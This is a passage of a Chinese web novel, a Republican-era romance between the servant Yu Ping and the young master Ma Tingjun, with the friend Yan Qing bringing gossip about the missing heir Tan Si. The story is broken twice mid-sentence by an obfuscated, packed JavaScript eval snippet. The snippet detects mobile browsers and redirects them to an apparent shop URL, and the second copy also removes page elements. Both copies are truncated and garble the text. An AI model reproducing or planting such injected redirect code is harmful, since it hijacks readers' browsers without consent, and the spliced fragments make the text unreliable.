照镜子的后果居然是把麻霆君叫醒了。俞平要说是后悔也不至于,悄无声息地转了身。 麻霆君半坐起来,枕头都被他挤在身下,后背打在床头,一点不舒服;却先揉起眼睛,似梦非梦地道:“是你吗?” 暖橘色灯光过于温馨,照得屋里也暖融融的,像是圣诞时候的姜饼屋。这两人多少心怀鬼胎,俞平更张狂一些,冷不丁道:“我一直觉得你熟悉。可惜我向来是不记得生人的,现在才想起来。” 他轻轻笑了声,道:“我就是见过你。” 麻霆君被他说得发怵,慌乱中摸开床头灯,道:“你以前见过我,什么时候?” 俞平堵在床尾,居高临下看着麻霆君,笑意蔓延得毫不收敛,闲闲地道: “三年前谈四要打你,是因为你刮花了他的新车,还想要逃跑。” “你怎么知道?” 俞平不着急回答。布鞋鞋底软,他走时悄无声息,一步步挨到床沿,把麻霆君的膝盖扳开,挤在他边上坐下了。 “你既然要找谈四——谈四为什么叫凭玉,你知不知道?” 俞平说得平缓,“母凭子贵,谈四凭玉贵。” 麻霆君才发觉他比自己料想中还漂亮,愣是一个字听不进去,神色不免更加慌张,道:“我听不懂了,俞平,你是什么意思?” 俞平不说话。 麻霆君要找救命稻草,挣扎着牵他的手,道:“俞平,你不要不理我!” 俞平默不作声,任由摆布。再是目光平静地看了麻霆君好一会,平静得一双狐狸眼鬼气森森,看得麻霆君几欲毛骨悚然,忽然灿烂道:“五爷说什么梦话?我是和詹老板来赔罪的。” 麻霆君道:“赔罪?” “是。”俞平笑道,“方才我叫五爷起床,五爷一直在讲梦话,不肯醒来。” 方才算什么?他怎么可能是来叫人起床的?亏是麻霆君半梦半醒,吃不准现实,俞平说话腔调又这么好听——姑且先信了,茫然道:“我刚刚都在说梦话?” 俞平道:“五爷做什么梦,说什么话,自己不清楚?” 麻霆君忙道:“那你是不是什么都听见了!” 心虚什么?俞平原本就对麻霆君的印象不好,因为麻霆君傻,勉强扭转了一些,又有颜青这等狐朋狗友来勾搭,连带对他的印象难免急转直下,也当他梦得多不见得人了。 坏印象扩散得难免更快一些,俞平忍着气,胡诌道:“说了好多,尽是些听不懂的。我担忧你遭受梦魇,才光顾着把你叫起来。” “原来如此,你真是好心。”麻霆君尴尬一笑,羞涩地稍稍撇了头,承认道,“实在对不住,我梦到你了,所以没分辨出来。你应该没被我吓到吧。” 真是一猜即准——俞平冷冰冰地打量麻霆君,却没什么怨气生的出来。他对麻霆君有好感?不至于;可他先前确实觉得麻霆君戾气太重,这时竟没什么棱角,英俊又温柔,大概是睡饱的缘故。 他踌躇片刻,不信麻霆君在他面前能如何造次,再是有坏印象,气却也生不起来。然而天时地利,不生气太可惜,低头半晌,道:“五爷做的一定是把我揍了一顿的梦,没想到被我打搅了。我真是该死,干脆请五爷再来揍我一顿消气。” “不是。”麻霆君温和道,“我梦到我们在一起散步。” 俞平从黑暗里抬眼看麻霆君,麻霆君的神情却也不像是说谎。他心间燥热化解分散开,弥散至身体每一寸,尤其是被握着得袖口,更是酥麻。 他抽了手,微微笑道:“散步有什么好梦的?你想和我散步,来布店叫我一声就是了。” “当真?” “当然是假的。我看还是做仇人方便,早上在布店,五爷迫不及待想揍我了。” 麻霆君干笑一刻,坚持道:“早上是你有意要挑起的,我也是顺从你。” 俞平看向他:“还在说梦话?” 麻霆君不自在地往床头缩了缩,道:“我不是有意想和你打架的,可是那时若不和你打了,也下不来台,我知道你能够理解我……总是我问题大一些,早知道不答应你就好了。” 俞平哦了一声:“全都怪我?” “你看,你咬的我。” 麻霆君掀起衣袖,很是可怜地说着,“牙印都没消。” 俞平凝神在他胳膊上搜寻许久,只见到流畅的肌肉线条——他必然是锻炼过的,手臂比寻常人粗一圈,此时微微发力,一块块凸起得十分漂亮,牙印又在哪里? 麻霆君则是长久地牵挂在狐狸眼睛上,见到俞平好像是无奈笑了,又好像始终面无表情,指尖寒意叫他微微颤抖,顺着肌肉刻画出线条的刮擦向下,停留在他臂弯处轻轻掐了掐。 所幸俞平嘴角是上翘的,轻松道:“对不起。” 谁想到俞平主动道歉了——麻霆君脸上霎时受宠若惊。 “其实没关系,你下次咬得轻一点就可以了。” 麻霆君眼神亮一瞬,努力抿了嘴,又道,“我也没有生你气。” 俞平看明白,这人喜怒哀乐都写在脸上,此时心里炸了般愉悦如何掩盖?便往他手上拍了一记。麻霆君反捉住他的手指,翻来覆去看他手心手背。 俞平干脆换了另一只手,软绵绵搭在他眼睛上,道:“五爷看清楚了,这里没有你要的翡翠扳指。” 麻霆君大约是在调整坐姿,蹭一阵他的手,不比黑兔更勤奋;少倾坐得端正,道:“你放心,我很早就不怀疑你了。” 俞平嗤笑道:“还怀疑过?” 麻霆君道:“我一直觉得蹊跷:谈四是凭玉,你却是俞平。我与谈四八字不合,见面就结仇,又新得罪了你。想来其中一定也有缘分,那时光顾着催茶山去了,一时捉摸不清。” 俞平道:“已经过了半个月,五爷捉摸清楚了吗?” 麻霆君向他微笑,借整理毛毯的理由低头,道:“我想,我们是有缘分的。我那时下手不知轻重,还请你不要放到心上去。” 俞平也抑制不住微笑,总归是嘲讽的成分居多,抽回手,道:“孽缘么,还是不要的好。” 春天的昼夜温差大,屋内寒潮涌动,麻霆君是捂在棉被里享福的,他缺了麻霆君手心的温暖,只觉得比先前还要冷,却也不想麻霆君看他打寒噤,又搪塞道:“听说五爷不喜欢别人进卧室,我岂不是又犯了错?” 麻霆君道:“谁和你胡说八道?从来没有过这种说法。” “怎么会没有?都说五爷是新青年,最注重隐私。” “我有什么隐私?我没什么见不得人的。” “还有只狗也很凶呢。” 那黑兔虽是牧羊犬,真是乖巧聪明,温顺成绵羊,不说凶,就算是吠也斯斯文文的。麻霆君起了疑心,道:“你说谁是狗?” 俞平身上发抖,借着笑,肩膀一耸一耸,道:“五爷睡觉的时候,颜二爷也来了,和詹老板一起等在楼下。既然你醒了,便不要叫他们等得太久。” 麻霆君一挑眉毛,道:“你见到他了?” “还打上招呼了。” “他有和你说什么?” 俞平开口前变了心思,顿了许久,方道:“他说他是枢城顶好的青年,问我愿不愿意做他的恋人。” 这话听得麻霆君焦头烂额,却是张口结舌——俞平笑道:“慌什么,你说我会答应么?” 麻霆君支吾一阵,嘴里什么话都要讲,又都是什么话都讲不出。俞平起身,离开他床边,又道:“那我们就是没有缘分,做不成朋友了。” 麻霆君管自己闷声不响,干脆掀了被子起床。原定今天穿的衣物挂在衣帽架上,他摘下一件羊绒开衫,先问俞平:“晚上冷吗?” 俞平道:“有点刮风。” “你冷吗?” 一念之间,俞平自己的粗布衫好似薄了三分,却也不想顺承麻霆君。麻霆君心上有了判断,把那开衫仔细抖了抖,道:“你先披上,什么时候还给我都行,我不着急。” 俞平却道:“五爷外套贵重,我一文不值,没有穿上的道理。” 麻霆君笑道:“对不住,实在是对不住。” 又道:“确实是我一时冲动,我也想和你重归于好。一直俞平俞平地叫也太生疏……你有什么别的小名字?” 俞平道:“我一文不值,谁费心思来给我取昵称?” 他但凡再说一句话,麻霆君必然要化成水雾弥散在房间里。先前在梦里也真是散步,在他嘴里翻覆一轮,好像多么见不得光——当真是“旧时王谢堂前燕[1]”了,如何承受得住?此间飞到自己家,麻霆君是他的一根羽毛都没有余力肖想,有些许窘迫,道:“我们翻过这篇好吗?” 俞平冷笑一声,道:“头一回听人说我一文不值,挺新奇的。” 麻霆君便道:“那么,‘无价之宝’——因为无价,也算一种一文不值。我这么解释,你可以接受吗?” 俞平笑道:“好坏全在五爷一念间,我有什么可反驳的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060950|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 麻霆君也向他微笑,道:“你叫我霆君吧,‘五爷’是他们开玩笑的,我称不上是五爷,比我厉害的大有人在。” “好。”俞平反而往后退,关了台灯,幽幽道,“我是凭玉。” 麻霆君无奈笑道:“我是有些无趣的,不会开玩笑,你也别和我闹了。” 他往俞平身前靠,没有解释,把开衫披在俞平的肩头。俞平肩膀一抖,开衫便滑落在手中,提着两只肩膀,整件往他头上蒙,掀了衣摆,露出他的脸。 俞平道:“谢谢五爷,可我真的不冷。” 他松了手,羊绒开衫便顺着麻霆君的后颈滑落下来,起几个静电,噼啪作响。幸而麻霆君肩宽体阔,开衫在肩膀上顺利搭住了。 俞平抽出袖子,随手打个结,道:“五爷要换衣服,也轮不着我伺候,我去外面等。” 那丫鬟坐在楼梯上打盹。俞平柔声把她叫了起来,她吓一跳,看清是俞平,忙道:“你出来了,五爷没把你怎么样吧?” “没怎么。”俞平不自在看了眼水晶吊灯,又道,“刚把他叫醒时他犯脾气,凶了我几句。” 丫鬟劝道:“五爷估计本来就不好受,一看睡到晚上,心里更是急了些,不是有意对你。你别往心上去。” 俞平道:“被他凶几句也不断胳膊不掉腿,随他去吧。” “唉,大家都不容易!” 再等一阵,麻霆君肩上还是那一件羊绒开衫,才看清是杏仁绿色,打得结更加规整。 丫鬟没想到他心情颇好,估摸着俞平在他身上受得气不小,更是可怜俞平三分。上前道:“五爷,颜二爷来了,布店的詹老板也来了。都在楼下等着。” “我知道。”麻霆君道,“今晚夜宵是什么?” 丫鬟道:“桂花小米糕,蘸白糖,蘸蜂蜜都好吃。” 麻霆君胳膊碰了碰俞平,语气柔和几分:“你想吃什么?” 俞平道:“不想。” 麻霆君也不恼,道:“老规矩,叫后厨冲热可可。” 丫鬟道:“五爷,热可可早被你喝光了。” 麻霆君不解道:“今天不是派人去百货公司了吗?” “三奶奶说西洋人心眼坏,把毒药掺进可可粉里,专门祸害你,害得你单身迄今。否则她早抱上孙子孙女了。” 丫鬟告密道,“三奶奶不准他们买,另叫我们给你多喝点大麦茶。” 俞平道:“这三奶奶是何方神圣?” 麻霆君道:“是我亲娘。” 俞平笑道:“那便是好好听三奶奶的话,改喝大麦茶。” 大麦茶有什么好喝的?麻霆君不服气,眼睛一低,先看起俞平单薄布衫,哪有不冷的道理?便找个借口,道:“晚上喝茶睡不着觉的,不如热些牛奶,睡得也安稳。” 丫鬟道:“桂花小米糕,牛奶多热一些,我马上去叫他们准备。” 麻霆君点点头,丫鬟便小跑下楼。她走时不禁想着,五爷真是训规有方,高深莫测,吃完巴掌才有甜枣;就是俞平实在太可怜,几口夜宵而已,要被五爷责骂一通,换谁都不愿意。 大厅灯火通明。 麻霆君看见颜青,本应兴高采烈,喉咙口却堵着什么似的,笑也笑得不顺畅,颜青倒是对他热情万分,勾肩搭背地招呼一通。 “嗳,霆君,还是你这里舒服。枢城那群人叫我颜先生都委屈,你家佣人倒是都管我喊二爷。”颜青道,“感情好,房间给我准备出来,我要好好在你这里修养十天半月。” 麻霆君强调道:“我记得你前阵子说要去意大利结婚,怎么来我家了?” 他说罢还知道偷瞄俞平。颜青要装伤心,严严实实捂着脸,姑且没发现他这点心思。 “我刚被他一脚踹掉,又成孤家寡人了!” 颜青以手掩面,转半圈,暗度陈仓至俞平面前,才把手撤下,道:“霆君,你真不够意思!我身上但凡有风吹草动,老早都告诉你了。你这里来了新的弟弟,怎么不和我打一声招呼?” 麻霆君心烦意乱,推了他一把,下手多少有些不知轻重。好在颜青依然嬉皮笑脸,他自己愣片刻,赶紧道:“你开车来鹭镇累不累?说完正事,好去楼上休息了。” “说正事就说正事,谁叫我们是好兄弟?我来是有两个消息告诉你,其一是银行,其二是谈四。” 颜青笑道,“我让你挑,你先听哪个?” 俞平道:“谈四。” 麻霆君道:“银行。” 12. 远志 二人异口同声,颜青没想到俞平会参与,眼珠子在他们间转一轮,笑道:“小俞平,你怎么不肯听霆君的话?” “听五爷的。”俞平后退一步。 他当麻霆君多牵挂谈四,贸然开了口。实际上他两个都不太想关心,干脆缩在麻霆君身后,朝麻霆君眨眼睛。 麻霆君报以微微一笑,他想起鹭镇上风言风语——麻老爷爱子心切,催婚得太厉害;麻霆君是个正人君子,脸皮抵挡不住,又不好忤逆父亲,只能暗自想方设法远走高飞。 银行便是麻霆君的正当理由了。俞平暗自集中注意,就等着颜青开口。 不料颜青道:“霆君,那天我见到谈二了,他果真是我心目中枢城黄金单身汉排行榜第一名。” 才知道是民办银行,谈家二爷谈文翡开的,大抵是经营不善,找得到人接手再好不过了。 麻霆君见一人几欲流口水,另一人几欲昏死过去,便推了一个,扶了一个,道:“颜青,你清醒一点。” 颜青仍表情痴傻:“不要说什么意大利……如果我能够和他交换戒指,去臭水沟都可以。” “我听明白了,你帮我接手他开的银行,其实就是想要找机会靠近他。”麻霆君数落道,“难怪那个男孩不陪你去意大利。我也看不惯你。” 颜青被拆穿了倒也不恼,道:“哪里是你说的这样?喜鹊找来了,我挑着担子去了,我心里的天神却是对我爱答不理。靠近他有什么用,他一眼都不多分给我。” 又道:“所幸钥匙带来了,你有空自己去枢城看看。” 麻霆君才适应他的风流韵事,立刻被他奔波到钥匙上,错愕道:“钥匙?” 颜青得意道:“人家已经同意把银行转手给你,但是手上有个项目才进行到一半。再等一两年,你才好正式上位。” 顷刻间麻霆君眼前一亮,几乎要把他举起来:“真的?” “我才不骗你。”颜青道,“那地方离我家太远,你以后不能在我家住了。” 麻霆君道:“你把地址给我写下来,我有空去看。” “还要等有空?我回枢城的时候把你捎上就行了。” “我忙着呢,哪有空去枢城。” 这才关注到一直遭受冷落的布店二人。俞平把詹老板搀来,一起朝他们鞠躬。 詹老板道:“二位爷,我是来向你们赔罪的。” 颜青道:“老板,我们不过露水相逢,闲谈几句,何罪之有?” 詹老板道:“您和五爷做茶叶生意,我儿子向五爷毛遂自荐,替五爷运茶。不曾想到我儿子失了约,现在还没回来。” 他郑重其事地将怀里的布包在他们面前展开,又道:“损失的两千大洋我们都愿意赔,但是布店现钱少,只凑出六百大洋,其余的要慢慢补上。我在鹭镇开店几十年,有信誉,邻里街坊都可以担保。” “费什么六百大洋?”颜青暧昧道,“老板,你有魄力让你家伙计陪我一夜,你们要多少我就给多少。” 俞平尚能低头装作没听见,詹老板思想守旧,一时难以理解。 赶在詹老板两眼发黑前面,麻霆君阻挠道:“一会意大利,一会谈文翡,现在连他都不放过了?” 颜青道:“平时也和你讲这些,怎么今天格外着急?” 麻霆君道:“平时最多提一句,哪像今天怎么过分。” “今夜月朗星稀,是我被这夜色醉了上头,情不自禁,什么心里话都要告诉你了。” “站在朋友的角度,我劝你专情一些,对谁都好。” “我是个妖怪,长九百颗心。一颗心里住一个人,每个人都有很富余的空间。” 见麻霆君实在不高兴,颜青笑嘻嘻打马虎眼,“茶叶本来就是因为我们霆君要接手银行,人家心情好,随便答应的。其实真没什么事,老板带他回去歇息吧,别担心了。” 詹老板颤颤巍巍要递上钱:“颜少爷,这钱你们收着,吃场酒也好。” 颜青看他实在朴素,不好意思收他钱,搪塞了几句,拗不过人,把麻霆君搬了上来。 麻霆君思索片刻,道:“我以后一定会有事再麻烦布店,这些钱留到以后再说。” 詹老板保证道:“钱我先为五爷留着,不会动。平时五爷有什么需要我们的,尽管开口。” 颜青道:“老板,这么想就对了。要是我这位兄弟也是枢城人,黄金单身汉排行榜第一位,绝对花落他家。” 詹老板双手作揖,谢了这个谢那个,正是感激流涕地要离开,后厨的桂花小米糕端了上来,香气诱人。 麻霆君借机道:“吃过夜宵再走吧。” 詹老板道:“时间太晚,我们还是不打扰了。” 请吃饭理应也是一种送客,麻霆君硬是不肯放他们走,场面居然诡异地僵持着。会客厅里也有明眼人,仍谁看麻霆君都不是请这位中年父亲吃夜宵。 送夜宵上来的丫鬟挤眉弄眼,詹老板视若无睹,一心想走——直到麻霆君脸上实在挂不住,俞平才对詹老板耳语道:“五爷睡醒了就凶我,他是在找台阶向我道歉。” “吃,吃。”詹老板如梦初醒,立刻挤出一笑,亲切地揽过俞平,“俞平,麻家的桂花小米糕是宫廷秘方,你以前没吃过,碰巧多吃点。” 大家才一哄而上地叉小米糕吃。 詹老板才小声道:“怎么被凶了?你别亏了,多吃点。” 俞平站在詹老板身边,搪塞几句。 那头麻霆君与颜青靠在一起。颜青此次来鹭镇,算是见完偶像的一时兴起,没带佣人伺候,一脚油门便来了,肚子尤其饿一些。小米糕被他串成了糖葫芦,好不容易吃个半饱,才开始骚扰麻霆君。 他手指俞平,道:“俞平,俞平……听着有些耳熟?” 俞平是枢城人,颜青也是,两个人都沾着些交际花的性质,其中必有什么玄妙——麻霆君试探道:“你认识他?” 颜青道:“他也是枢城人?听口音挺像的。” 麻霆君应了声。颜青又道:“按理说,长成这样,还是枢城人,不会来鹭镇的布店当长工。” 麻霆君道:“这有什么?都是当长工,说不定他就喜欢布店。” 颜青随口道:“可他是枢城人啊?” 这两人的四只眼睛都是吃惊地瞪来瞪去,而后麻霆君炽热的疑惑凝固下来,颜青则是不好意思地笑了笑,道:“我是实事求是,他既然是枢城人,背井离乡也不会来鹭镇。大家都是这么想的,不是特地看不起你。” 枢城本地人的傲气麻霆君不是没见识过,此时再让颜青提起,只好自认倒霉。 他道:“我也没这么想,一下子没反应过来而已。” “枢城就是这样,江东看不起江南,区域之间还要再排位。亏我住在江东,否则没人理我了。” 颜青管不住自己,再讲了些,意识到自己多嘴,又道,“俞平要是来鹭镇,很大可能是得罪了什么人物,又不想走远,才想到来周边地方。” 被猜准了,俞平是被少爷甩脱的情人。这秘密一时只有麻霆君知道,却也没什么其余的头绪,便揉捏垂得更低的开衫袖子。 远处俞平、詹老板、丫鬟,三人站在一起,谈笑风生。俞平在其中俊美得不堪实际,看得人头晕目眩。 颜青喃喃道:“我能够打包票,我真是第一次见他。不过先前有没有听说过他,可要好好想一想。” 麻霆君当他上了钩,屏息凝神等着。他不满地嘟囔一会,忽然明了了,哦一声,道:“郁蕙心的弟弟回来了,长得不错,名字好像叫什么小郁金香。我看他比人家还漂亮,干脆叫小玫瑰花。” 谁知道他憋了一阵,就是为了说什么花?麻霆君简直气不打一处来:俞平自称过去做情人,又被少爷抛弃了,张狂却三缄其口,半个月了拢共这么点消息,旁人也不敢细问。麻霆君还以为颜青额外知道什么内情呢,谁知道只是小玫瑰花。 却硬是装着平静,嗤笑一声,道:“什么小玫瑰花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞平道:“早听说五爷上进,怎么不肯敬仰名门?” 麻霆君道:“那必然是自由身舒服。名门里头规矩多,太折磨人。” 然则俞平看上去不大轻松,小米糕光是凉在手上忘记吃。 颜青那边又嚷着:“谈文翡真当英俊,是我心目中的希腊神!” “行,希腊神。”麻霆君不堪其扰,“我记得你还有一个消息要给我,谈四的后续怎么样了?” 颜青陶醉道:“说到谈四,必然要提一下他的哥哥,谈二谈文翡。” 麻霆君痛苦地闭上眼睛。痴迷的声音不绝于耳,颜青滔滔不绝道:“谈家的孩子一个赛一个美,那天三少爷也来了,他叫谈文翡‘哥哥’。哪天我也能老嗲老嗲来一声文翡哥哥,这辈子值了。” 末了看向麻霆君道:“你说是不是,霆君哥哥?” 这一套绝顶功夫逼得边上俞平干呕不止。大厅里的丫鬟见状不对,端了杯水过来。 颜青关心道:“怎么了?” 俞平虚脱道:“我有点反胃。” 他正要喝水缓解,不料麻霆君抢先一步把杯子端至唇边,呷了口道:“胃里不舒服,别喝凉的了。” 又问丫鬟:“牛奶热好没有?” 丫鬟道:“五爷,我去后面问问。” 颜青自以为不是自己狗眼看人低,毕竟喝杯水的功夫,俞平都快瑟缩进麻霆君怀里了。便拖长音起哄道:“霆君,难得见你这么会照顾人。我说话口干舌燥,也想喝热牛奶。” 麻霆君道:“热头奶牛都不够你胃口的。” 颜青道:“对我这么不客气,我不和你讲谈四了。” 麻霆君只好再与他勾肩搭背,行一些兄弟之礼。颜青笑一阵,才道:“既然要说谈四——霆君,我先问你,你和小俞平,夜里睡一张床还是两张?” 13. 前缘 麻霆君脸色一变,把他推开:“你说清楚了,什么床上?” 颜青轻浮道:“刚才你在睡觉,是他上来把你叫醒的。等下你们不是回一个被窝,还能够怎么样?” 被颜青沾上是跳进黄河洗不清,麻霆君便把希冀在俞平的伶牙俐齿上,然则这人很是羞涩地垂着脑袋,始终往自己身上躲。 麻霆君看见他也无奈——但凡俞平把方才对付自己的劲头分一半给颜青,哪至于他一个人多费口舌地周旋!严肃道:“他是布店的长工,就是来叫我起床的,不要多想了。” “真腻歪,难怪叫你起床要这么久。我还听说你昨晚没合眼。” 颜青笑道,“活了二十一年,总算开窍了,恭喜恭喜。” 必然是颜青光顾着看他们靠在一起了,说出的话也逐渐不知廉耻起来。麻霆君心里急着,语气不由凶了几分:“乱说什么!我睡觉锁门,他去找钥匙,不知道是哪一把,试得久而已。” “你不碰他?” “我没你这恶趣味。“ “这倒是不错,希望你继续保持。” 颜青说得嘲讽,麻霆君顾不上他什么态度,厉声道:“你少打他的主意,更别带他去见什么郁蕙心。他就是布店里做长工的,靠力气挣钱,别把人往歧路上引。” “霆君,你是正直惯了。”颜青打个呵欠,“怎么和你讲谈四的事情,我还要好好想一想,他的故事没有多么光彩。” 俞平才插话道:“颜少爷,你见过谈四吗?” 颜青看看他,释然笑道:“谈四是什么人物,哪是我能够见到的。我想你曾经在枢城做工,既然认识郁蕙心,必然和谈四熟悉吧。” 俞平倒也默许他的说法,不做什么反驳,顺承道:“谈家保护他太严格,平时不给他社交。” ——谈四谈凭玉呱呱坠地不到满月,谈家便惨遭不测:那年谈家添了两个儿子,排在谈凭玉后面,原本还有一位五少爷,生他的四姨太扬眉吐气,行事太高调,谁想到当街遭受报复,孩子惨遭毒手。四姨太侥幸活命,至此染了疯病,神志不清。 尚在襁褓之中的谈凭玉,当仁不让成了谈家的重点呵护对象,自小到大都关在谈公馆里长大。 江东滨江一带都建公馆,孩子们四处串门,硬是没有见到过谈凭玉的;再大一点,凡是伴随谈凭玉出门,必逢清场。 然而谈家四个孩子里,老爷居然最喜欢他。约莫是老爷担忧自己驾鹤西去,始终闭门不出的谈凭玉立不住脚,便把传家宝翡翠扳指托付给了他。 又因为翡翠扳指的威名高过谈凭玉本人,也有戴赝品前去碰运气的狂妄之徒,后续皆是不了了之——谈凭玉不好认识,翡翠扳指造不了假。按照谈公馆的说法,那枚从某位皇帝之手流传下来的翡翠扳指,是把整座枢城的春天凝聚成一滴。 听颜青讲得天花乱坠,麻霆君不由问道:“既然所有人都不认识他,他还失踪了。要怎么才找得到他?” 颜青耸肩道:“他们家这么有钱,总是有办法的。” 俞平道:“现在找到了吗?” 俞平如此热心是头一回。麻霆君暗自思忖,所得出的结论好像只是俞平对自己过于藐视。 颜青与俞平不熟悉,还不知道他什么脾气,只当是闲谈天打发时间,道:“活人没有找来,尸体多了去,都可以办展会了。” 正好热牛奶端了上来。远处的詹老板见他们说得投缘,也不去催促俞平,出门去不远处透气。 麻霆君身为主人家,义不容辞接过佣人的托盘,为他们倒牛奶喝。他递给俞平的要格外满一些,俞平接过时心不在焉,险些洒到手上。 麻霆君小声嘱咐道:“烫的,小心点。” 俞平古灵精怪一笑:“谢谢五爷挂念。” 纵使自诩长九百颗心,颜青脸上只生两只眼睛一张嘴,还以为麻霆君在关怀他,有点功夫都在往杯子里吹气上了。 好不容易吹到腮帮子发麻,他灌了半杯牛奶下去,又喋喋不休起来: “谈家树大招风不必多说。谈四失踪,枢城各行各业简直各显神通。他们家光是昨天就认了二十七具尸体。” 颜青道,“霆君,你也找个尸体送过去,否则来不及啦。” 麻霆君愕然道:“我上哪去找尸体?” “其实随便挖点骨头就行了。你说谈凭玉早就一命呜呼啦,是你帮忙请他入土为安。” 颜青越说越起劲,“埋他的时候还不知道什么底细,七天后有少年托梦,请你送他回家,你这才把他重新挖了出来,送到谈公馆门口。” 麻霆君毫不客气抬腿踢了他:“我要是谈家的人,非把他揍一顿不可。” 颜青笑道:“你别嫌我说得好笑,真有人这么做!不过他后来怎么样出的谈公馆,我就不知道了。” 麻霆君摇头道:“这种晦气话就应该说给鬼听。” 颜青道:“是要去找鬼,也只有鬼知道谈凭玉在哪。” 俞平把瓷杯放到边上桌子,不留神掷杯时下手重了些,碎片飞溅在地上。麻霆君眼疾手快上了前,胳膊横在他腹前,一把将人拢了回来。 颜青见状,游刃有余起哄一声:“我和你讲正事,你怎么黏上他啦。” 麻霆君道:“是你讲得太吓人,我都吓一跳。” 颜青揶揄道:“我这几句话算什么?他肯定是被你吓的。男风到底上不了台面,我想你们胖子有时挺有道理,你身上都是真龙之气,他被你吓到也不奇怪。” 俞平低头道:“颜少爷,我听不明白了。” 麻霆君把俞平带到边上,见他身上只溅了些牛奶,方才作罢;看见俞平长长睫毛,又发觉这人说话时机琢磨不透,方才一句话不讲,此时一定要证明自己存在着。 谁知道俞平还有闲心向他眨眨眼睛——麻霆君心里有数,不客气朝他笑了笑回敬,腹诽这人真不是什么清茶一杯,简直满腹坏水。 颜青也不怕自己带坏了人,道:“小俞平,现在有世界上最英俊的少爷和世界上最美丽的小姐,你要挑谁?” 俞平故意笑得难看,道:“我是个做长工的,谁给我钱多,我就选谁。“ 颜青哈哈笑道:“这种说法我是头一回见,现在我要说你可爱了。” 又道:“我是非少爷不选的,我所有的恋人都是男人。你会觉得我可怕吗?” 俞平道:“不会。” 麻霆君在边上闷闷跺脚,也不好戳穿俞平,便是在心里说颜青——和这人说什么男女之事?他也就对颜青收敛些,对自己巴不得张牙舞爪,亮着指甲扑咬上来。 “世上就算有男子喜欢男子这码事,也屡见不鲜……就算是谈凭玉,也有这癖好。” 颜青豁然开朗,拍手道:“对啦,霆君,这就是我想要告诉你的!” 麻霆君原本不想理他,谁知道俞平顺在他身后看着自己。麻霆君只觉得自己被拘在俞平的眼眸中无处逃脱,虽是苦恼,依然上前道:“别卖关子。” “怎么可能没有人认识谈凭玉?枢城都在传,他以后是要做家主的,我不信老头不带他见人。认识他的人大有所在,有一位我们都不陌生。” 颜青顿了顿,“郁蕙心。” 麻霆君顺水推舟想了想,郁蕙心必然是借与谈文翡的婚约才认识的谈凭玉。无奈颜青脸上神色过于激动,不像是普通人际交往,更像隐瞒什么桃色情谜。 俞平脸上神色也是暧昧不明,主动道:“颜少爷,你这么神通广大,一定知道不少内情。” 颜青笑道:“我当然知道不少。蕙心就是因为和谈凭玉熟悉过头,谈凭玉不敢往家里讲的,通通告诉了她。我算是和谈凭玉臭味相投,蕙心有时感到困惑,会来向我求助。” 俞平道:“既然是谈家的秘密,她怎么好分享给你?” 颜青道:“能说出来的都不是秘密。蕙心好像在为他张罗婚事,只要男的,一下子就想到了我。我多少给她介绍了几个我没有染指过的,都过不了她这一关。” 又叹气道:“不过她现在也放弃的差不多了,只叫我去打牌。” 俞平道:“颜少爷认识的必然是名流之辈,怎么她都看不上?” “好像是谈凭玉心里有一位模范,可惜和他有缘无份。往后都是找类似的。蕙心是为了我们好,以免送去一堆不合心意的,叫谈四挑刺。” 颜青忽然道,“你们知道四爷的眼光是什么?都猜一猜。” 麻霆君不假思索道:“脸好看。” 颜青闭着眼睛,直摇头:“这是入场券,还用你多嘴?” 俞平道:“脾气好。” 颜青睁开一只眼:“有这种意思。” 麻霆君不耐烦道:“大晚上谁有心情陪你猜来猜去?快公开谜底,我又有些困了。” 颜青道:“猜一猜,很有趣味。” 麻霆君眼睛上面不悦地责备颜青,手上却是暗戳戳捞俞平的手腕,在俞平面前晃了几次,好不容易才得逞。道:“俞平,别和他猜谜语了,我送你回去。” 颜青才挡在他们前面:“不听我说完,不准走。” 俞平好心道:“颜少爷,我们 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“说不定他就看中你这个,你们家有句话怎么讲?” 颜青笑道,“我们五爷——我们五爷什么来着?” 他讲到一半忘了词。边上的丫鬟犹豫道:“我们五爷年方二一,仪表堂堂,待字闺中,洁身自好。” 颜青点头谢过她,又道:“对,你去谈公馆面试一下。” 麻霆君气鼓鼓的。见蛊惑麻霆君不成,颜青调转目标:“小俞平,你想不想去碰碰运气?” 麻霆君才开了金口,道:“好了,怎么牵扯到他!” 颜青笑道:“要是是你不肯放他走,就说你不肯,怎么怨我?” 俞平拘谨道:“我想留在鹭镇,靠自己的本领生活。” “他说得多好!”麻霆君帮腔道,“枢城就这么点不良风气,全被你学了来。” 说话时候,守门的丫鬟紧急来通报一声:“五爷,颜少爷,三奶奶要来了,你们赶紧散了!” 话音刚落,进来一个贵妇人,必然是麻三奶奶。先掂一阵热牛奶罐子,嘟囔片刻,再来揪颜青的耳朵,道:“你又要带坏我们霆君!” 颜青哎哟叫唤着,笑道:“哪是带坏,我是来商量生意的。” 他说罢看着詹老板。麻三奶奶常光顾布店,勉为其难摆笑脸,招呼了几句,再朝颜青道:“你要是良心好,叫霆君快点结婚了,省得我夜长梦多。” 颜青道:“姨娘你真是伤人的心。良人多难觅,我自己都没下落,怎么好拖霆君下水?” “你啊!”三奶奶不知不觉提高音量,道,“要是也叫霆君带个小男孩回来,我饶不了你!” 会客厅里真有个陌生的小男孩在。三奶奶盯俞平很长一阵,仿佛视他为上辈子的仇人。麻霆君在一旁也发怵,忙道:“娘,他是布店的伙计。” 詹老板也道:“他是我们布店新来的长工。” 三奶奶冷笑一声,来拧麻霆君的耳朵,道:“别当我看不出来,你敢不敢告诉我,你有哪一刻没看他?” 